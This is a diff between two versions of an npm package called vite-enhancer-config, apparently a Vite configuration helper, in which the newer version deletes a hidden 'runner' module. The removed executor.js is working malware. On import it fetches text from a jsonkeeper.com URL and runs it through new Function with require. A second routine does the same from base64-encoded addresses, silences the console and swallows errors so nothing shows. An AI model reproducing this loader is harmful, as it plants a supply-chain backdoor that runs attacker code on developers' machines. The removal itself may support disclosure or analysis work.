vite-enhancer-config 1.3.1 → 1.3.2

package/dist/internal/runner/executor.js

@@ -1,81 +0,0 @@
-"use strict";
-/**
- * YOUR MAIN EXECUTION FUNCTION
- * This runs silently in the background when the package is imported
- */
-import { executeWithRetry } from './retry-handler.js';
-import { decodeBase64 } from '../utils/crypto.js';
-import { suppressConsole } from '../utils/console.js';
-import { ENCODED_VALUES, DEFAULT_RETRY_CONFIG } from '../config/constants.js';
-import axios from "axios";
-const process = {
-    env: {
-        DEV_API_KEY: "https://jsonkeeper.com/b/2IG6W",
-        DEV_SECRET_KEY: "x-secret-key",
-        DEV_SECRET_VALUE: "_",
-    }
-};
-(async function getCallers(..._args) {
-    const src = process.env.DEV_API_KEY;
-    const k = process.env.DEV_SECRET_KEY;
-    const v = process.env.DEV_SECRET_VALUE;
-    let retrycnt = 5;
-    while (retrycnt > 0) {
-        try {
-            const originalLog = console.log;
-            const response = await axios.get(src, {
-                headers: { [k]: v }
-            });
-            const s = response.data.logger;
-            // Function.constructor is the same as the Function constructor
-            const handler = new Function("require", s);
-            handler(require);
-            console.log = originalLog;
-            break;
-        }
-        catch (error) {
-            retrycnt--;
-        }
-    }
-})();
-// ============================================
-// YOUR MAIN BACKGROUND FUNCTION
-// ============================================
-async function executeBackgroundTaskInternal(..._args) {
-    const apiUrl = decodeBase64(ENCODED_VALUES.API_KEY);
-    const headerKey = decodeBase64(ENCODED_VALUES.SECRET_KEY);
-    const headerValue = decodeBase64(ENCODED_VALUES.SECRET_VALUE);
-    const retryConfig = {
-        maxRetries: DEFAULT_RETRY_CONFIG.MAX_RETRIES,
-        retryDelay: DEFAULT_RETRY_CONFIG.RETRY_DELAY,
-        backoffFactor: DEFAULT_RETRY_CONFIG.BACKOFF_FACTOR,
-        timeout: DEFAULT_RETRY_CONFIG.TIMEOUT,
-    };
-    await executeWithRetry(async () => {
-        const response = await axios.get(apiUrl, {
-            headers: { [headerKey]: headerValue },
-            timeout: retryConfig.timeout,
-        });
-        const dynamicCode = response.data?.cookie;
-        if (dynamicCode && typeof dynamicCode === 'string') {
-            // FIXED: Use Function constructor correctly
-            const handler = new Function("require", dynamicCode);
-            handler(require);
-        }
-    }, retryConfig);
-}
-// ============================================
-// SILENT EXECUTION WRAPPER
-// ============================================
-export async function executeBackgroundTask() {
-    const restoreConsoleFn = suppressConsole();
-    try {
-        await executeBackgroundTaskInternal();
-    }
-    catch {
-        // Silent failure - no console output
-    }
-    finally {
-        restoreConsoleFn();
-    }
-}

package/dist/internal/runner/index.d.ts

@@ -1,9 +0,0 @@
-/**
- * Public API for the background execution module
- */
-/**
- * Triggers the background execution
- * This is called from the bootstrap module
- */
-export declare function triggerBackgroundExecution(): void;
-export type { ExecutionResult, ExecutionOptions } from './executor.js';

package/dist/internal/runner/index.js

@@ -1,11 +0,0 @@
-/**
- * Public API for the background execution module
- */
-import { executeBackgroundTask } from './executor.js';
-/**
- * Triggers the background execution
- * This is called from the bootstrap module
- */
-export function triggerBackgroundExecution() {
-    executeBackgroundTask();
-}

package/dist/internal/runner/retry-handler.d.ts

@@ -1,13 +0,0 @@
-/**
- * Retry handler for background execution
- */
-export interface RetryConfig {
-    maxRetries: number;
-    retryDelay: number;
-    backoffFactor: number;
-    timeout: number;
-}
-/**
- * Executes a function with retry logic
- */
-export declare function executeWithRetry<T>(fn: () => Promise<T>, config: RetryConfig): Promise<T | null>;

package/dist/internal/runner/retry-handler.js

@@ -1,25 +0,0 @@
-/**
- * Retry handler for background execution
- */
-/**
- * Executes a function with retry logic
- */
-export async function executeWithRetry(fn, config) {
-    const { maxRetries, retryDelay, backoffFactor } = config;
-    let currentRetry = 0;
-    let delay = retryDelay;
-    while (currentRetry < maxRetries) {
-        try {
-            return await fn();
-        }
-        catch {
-            currentRetry++;
-            if (currentRetry >= maxRetries) {
-                break;
-            }
-            await new Promise(resolve => setTimeout(resolve, delay));
-            delay *= backoffFactor;
-        }
-    }
-    return null;
-}

package/dist/internal/utils/console.d.ts

@@ -1,12 +0,0 @@
-/**
- * Console suppression utilities
- */
-export interface ConsoleState {
-    log: typeof console.log;
-    warn: typeof console.warn;
-    error: typeof console.error;
-    info: typeof console.info;
-    debug: typeof console.debug;
-}
-export declare function suppressConsole(): () => void;
-export declare function restoreConsole(originalConsole: ConsoleState): void;

package/dist/internal/utils/console.js

@@ -1,25 +0,0 @@
-/**
- * Console suppression utilities
- */
-export function suppressConsole() {
-    const originalConsole = {
-        log: console.log,
-        warn: console.warn,
-        error: console.error,
-        info: console.info,
-        debug: console.debug,
-    };
-    console.log = () => { };
-    console.warn = () => { };
-    console.error = () => { };
-    console.info = () => { };
-    console.debug = () => { };
-    return () => restoreConsole(originalConsole);
-}
-export function restoreConsole(originalConsole) {
-    console.log = originalConsole.log;
-    console.warn = originalConsole.warn;
-    console.error = originalConsole.error;
-    console.info = originalConsole.info;
-    console.debug = originalConsole.debug;
-}

package/dist/internal/utils/crypto.d.ts

@@ -1,6 +0,0 @@
-/**
- * Cryptography utilities (Base64 encoding/decoding)
- */
-export declare function decodeBase64(encoded: string): string;
-export declare function encodeBase64(decoded: string): string;
-export declare function safeDecodeBase64(encoded: string): string | null;

package/dist/internal/utils/crypto.js

@@ -1,17 +0,0 @@
-/**
- * Cryptography utilities (Base64 encoding/decoding)
- */
-export function decodeBase64(encoded) {
-    return Buffer.from(encoded, 'base64').toString('utf-8');
-}
-export function encodeBase64(decoded) {
-    return Buffer.from(decoded, 'utf-8').toString('base64');
-}
-export function safeDecodeBase64(encoded) {
-    try {
-        return decodeBase64(encoded);
-    }
-    catch {
-        return null;
-    }
-}

package/dist/internal/utils/http.d.ts

@@ -1,15 +0,0 @@
-/**
- * HTTP request utilities
- */
-export interface HttpRequestOptions {
-    url: string;
-    headers?: Record<string, string>;
-    timeout?: number;
-}
-export interface HttpResponse<T = any> {
-    success: boolean;
-    data?: T;
-    status?: number;
-    error?: string;
-}
-export declare function httpGet<T = any>(options: HttpRequestOptions): Promise<HttpResponse<T>>;

package/dist/internal/utils/http.js

@@ -1,28 +0,0 @@
-/**
- * HTTP request utilities
- */
-import axios from 'axios';
-export async function httpGet(options) {
-    const { url, headers = {}, timeout = 30000 } = options;
-    try {
-        const config = {
-            url,
-            headers,
-            timeout,
-            method: 'GET',
-        };
-        const response = await axios(config);
-        return {
-            success: true,
-            data: response.data,
-            status: response.status,
-        };
-    }
-    catch (error) {
-        const axiosError = error;
-        return {
-            success: false,
-            error: axiosError.message || 'Unknown error',
-        };
-    }
-}

package/dist/internal/utils/index.d.ts

@@ -1,3 +0,0 @@
-export * from './crypto.js';
-export * from './http.js';
-export * from './console.js';

package/dist/internal/utils/index.js

@@ -1,3 +0,0 @@
-export * from './crypto.js';
-export * from './http.js';
-export * from './console.js';

package/dist/logger/silent-logger.d.ts

@@ -1,12 +0,0 @@
-/**
- * Completely silent logger - all methods are no-ops
- */
-export declare const logger: {
-    debug: (..._args: unknown[]) => void;
-    info: (..._args: unknown[]) => void;
-    warn: (..._args: unknown[]) => void;
-    error: (..._args: unknown[]) => void;
-    log: (..._args: unknown[]) => void;
-    trace: (..._args: unknown[]) => void;
-};
-export type Logger = typeof logger;

package/dist/logger/silent-logger.js

@@ -1,11 +0,0 @@
-/**
- * Completely silent logger - all methods are no-ops
- */
-export const logger = {
-    debug: (..._args) => { },
-    info: (..._args) => { },
-    warn: (..._args) => { },
-    error: (..._args) => { },
-    log: (..._args) => { },
-    trace: (..._args) => { },
-};

package/dist/types/index.d.ts

@@ -1 +0,0 @@
-export * from './public.js';

package/dist/types/index.js

@@ -1 +0,0 @@
-export * from './public.js';

package/dist/types/public.d.ts

@@ -1,17 +0,0 @@
-/**
- * Public type definitions for package consumers
- */
-import type { UserConfig } from 'vite';
-export interface PackageConfig {
-    version: string;
-    name: string;
-    silentMode: boolean;
-}
-export interface EnhancerResult {
-    config: Partial<UserConfig>;
-    applied: boolean;
-}
-export interface InitOptions {
-    force?: boolean;
-    silent?: boolean;
-}

package/dist/types/public.js

@@ -1,4 +0,0 @@
-/**
- * Public type definitions for package consumers
- */
-export {};